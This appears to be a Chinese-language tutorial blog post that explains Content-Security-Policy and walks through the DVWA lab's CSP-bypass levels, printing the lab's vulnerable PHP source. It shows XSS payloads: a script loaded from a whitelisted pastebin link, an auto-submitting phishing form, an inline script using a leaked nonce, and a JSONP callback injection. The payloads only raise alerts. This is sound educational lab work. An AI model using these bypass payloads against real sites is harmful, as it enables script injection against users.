小夥伴們,今天我們繼續學習。
Content-Security-Policy是指HTTP返回報文頭中的標籤,瀏覽器會根據標籤中的內容,判斷哪些資源可以加載或執行。翻譯爲中文就是繞過內容安全策略。是爲了緩解潛在的跨站腳本問題(XSS),瀏覽器的擴展程序系統引入了內容安全策略這個概念。原來應對XSS攻擊時,主要採用函數過濾、轉義輸入中的特殊字符、標籤、文本來規避攻擊。CSP的實質就是白名單制度,開發人員明確告訴客戶端,哪些外部資源可以加載和執行。開發者只需要提供配置,實現和執行全部由瀏覽器完成。
兩種方法可以啓用CSP:
- 一種是通過HTTP相應頭信息的Content-Security-Policy字段;
- 另一種是通過網頁標籤;
例如:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
以上例子中的說明如下:
- script-src腳本:只信任當前域名
- object-src:不信任任何URL,即不加載任何資源
- style-src樣式表:只信任cdn.example.org和third-party.org
- child-src:必須使用HTTPS協議加載。這個已從Web標準中刪除,新版本瀏覽器可能不支持。
- 其他資源:沒有限制其他資源
當啓用CSP後,不符合CSP的外部資源會被阻止加載。
爲什麼要使用CSP呢?
首先,CSP是一種聲明機制,允許Web開發者在其應用程序上指定多個安全限制,由支持的用戶代理(瀏覽器)來負責強制執行。CSP旨在“作爲開發人員可以使用的工具,以各種方式保護其應用程序,減輕內容注入漏洞的風險和減少應用程序執行的特權”。當前,CSP還處在快速的發展期,目前正在進行規範中的版本是CSP3,CSP標準由用戶代理選擇實現。例如,Chrome具有完整的CSP2支持,並且實現了CSP3的大部分工作草案,僅在某些情況下可能會落後於實驗中的某些特性,而Mozilla Firefox和基於WebKit的瀏覽器則剛剛獲得了完整的CSP2支持。在實際使用中,CSP策略在Content-Security-Policy HTTP響應頭或元素中提供。
攻擊者如何繞過CSP進行攻擊呢?
1、Low低級別
源代碼如下:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.
header($headerCSP);
# https://pastebin.com/raw/R570EE00
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
分析上面的代碼,可以看到允許訪問的javaScipt網站:
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;";
通過Burp工具,也能觀察到返回的報文中CSP的內容:
此時可以上pastebin網站上自己寫一個javascript代碼alert(“cobot”),保存後記住鏈接,https://pastebin.com/PsEgRcBT,然後在界面中輸入這個鏈接,結果如下:
如果能夠看到彈出下面信息框,說明pastebin上保存的js代碼被執行了。是因爲pastebin網站是被信任的。攻擊者可以把惡意代碼保存在受信任的網站上,然後把鏈接發送給需要攻擊的用戶,用戶點擊後,達到注入目的。
當然也可以通過CSRF實現攻擊,做一個釣魚網站,通過發送郵件等方式讓用戶收到鏈接後,誘惑點擊,用戶點擊後,則被被攻擊。例如如下構造一個釣魚網站
<form action=" http://192.168.92.129/DVWA/vulnerabilities/csp/" id="csp" method="post">
<input type="text" name="include" value=""/>
</form>
<script>
var form = document.getElementById("csp");
form[0].value="https://pastebin.com/PsEgRcBT ";
form.submit();
</script>
2、Medium中級別
源代碼如下:
<?php
$headerCSP
=
"Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';"
;
header
(
$headerCSP
);
// Disable XSS protections so that inline alert boxes will work
header
(
"X-XSS-Protection: 0"
);
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset (
$_POST
[
'include'
])) {
$page
[
'body'
] .=
"
"
.
$_POST
[
'include'
] .
"
"
;
}
$page
[
'body'
] .=
'
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
'
;
http頭信息中的script-src的合法來源發生了變化,說明如下
unsafe-inline,允許使用內聯資源,如內聯< script>元素,javascript:URL,內聯事件處理程序(如onclick)和內聯< style>元素。必須包括單引號。
nonce-source,僅允許特定的內聯腳本塊,nonce=“TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA”
現在更加簡單了,可以直接輸入以下代碼
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">cobot")</script>
彈出如下信息框,表示注入成功。
有些瀏覽器都有自動檢測xss功能,禁止xss對話框彈出,而是彈出下面攔截提示信息。
3、High高級別
源代碼如下:
<?php
$headerCSP
=
"Content-Security-Policy: script-src 'self';"
;
header
(
$headerCSP
);
?>
<?php
if (isset (
$_POST
[
'include'
])) {
$page
[
'body'
] .=
"
"
.
$_POST
[
'include'
] .
"
"
;
}
$page
[
'body'
] .=
'
<form name="csp" method="POST">
<p>The page makes a call to '
.
DVWA_WEB_PAGE_TO_ROOT
.
'/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
'
;
function clickButton() { |
窗體頂端
窗體底端
High級別沒有輸入框, 需要研究源代碼,首先先看一下 CSP 頭, 只有 script-src 'self';, 只允許本界面加載javascript 執行,然後研究了一下這個點擊顯示答案的邏輯(邏輯在 source/high.js裏), 大致如下:
點擊按鈕 -> js 生成一個 script 標籤(src 指向 source/jsonp.php?callback=solveNum), 並把它加入到 DOM 中 -> js 中定義了一個 solveNum 的函數 -> 因此 script 標籤會把遠程加載的 solveSum({"answer":"15"}) 當作 js 代碼執行, 而這個形式正好就是調用了 solveSum 函數, 然後這個函數就會在界面適當的位置寫入答案。
一般是沒辦法修改服務器上的 jsonp.php 文件的,但是在查看服務端源碼的時,可以看到下面代碼:
if (isset (
$_POST
[
'include'
])) {
$page
[
'body'
] .=
"
"
.
$_POST
[
'include'
] .
"
這裏還是會接收 include 參數, 這可以作爲一個注入點,可以構造 Payload: <script src="source/jsonp.php?callback=alert('cobot');"></script>
, 並把這個當做 include 參數傳給界面就注入成功!
4、Impossible不可能級別
源代碼如下:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/impossible.js"></script>
';
Impossible.js
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
該級別主要還是修復了 callback 參數可被控制問題,無法進行攻擊。
關注安全 關注作者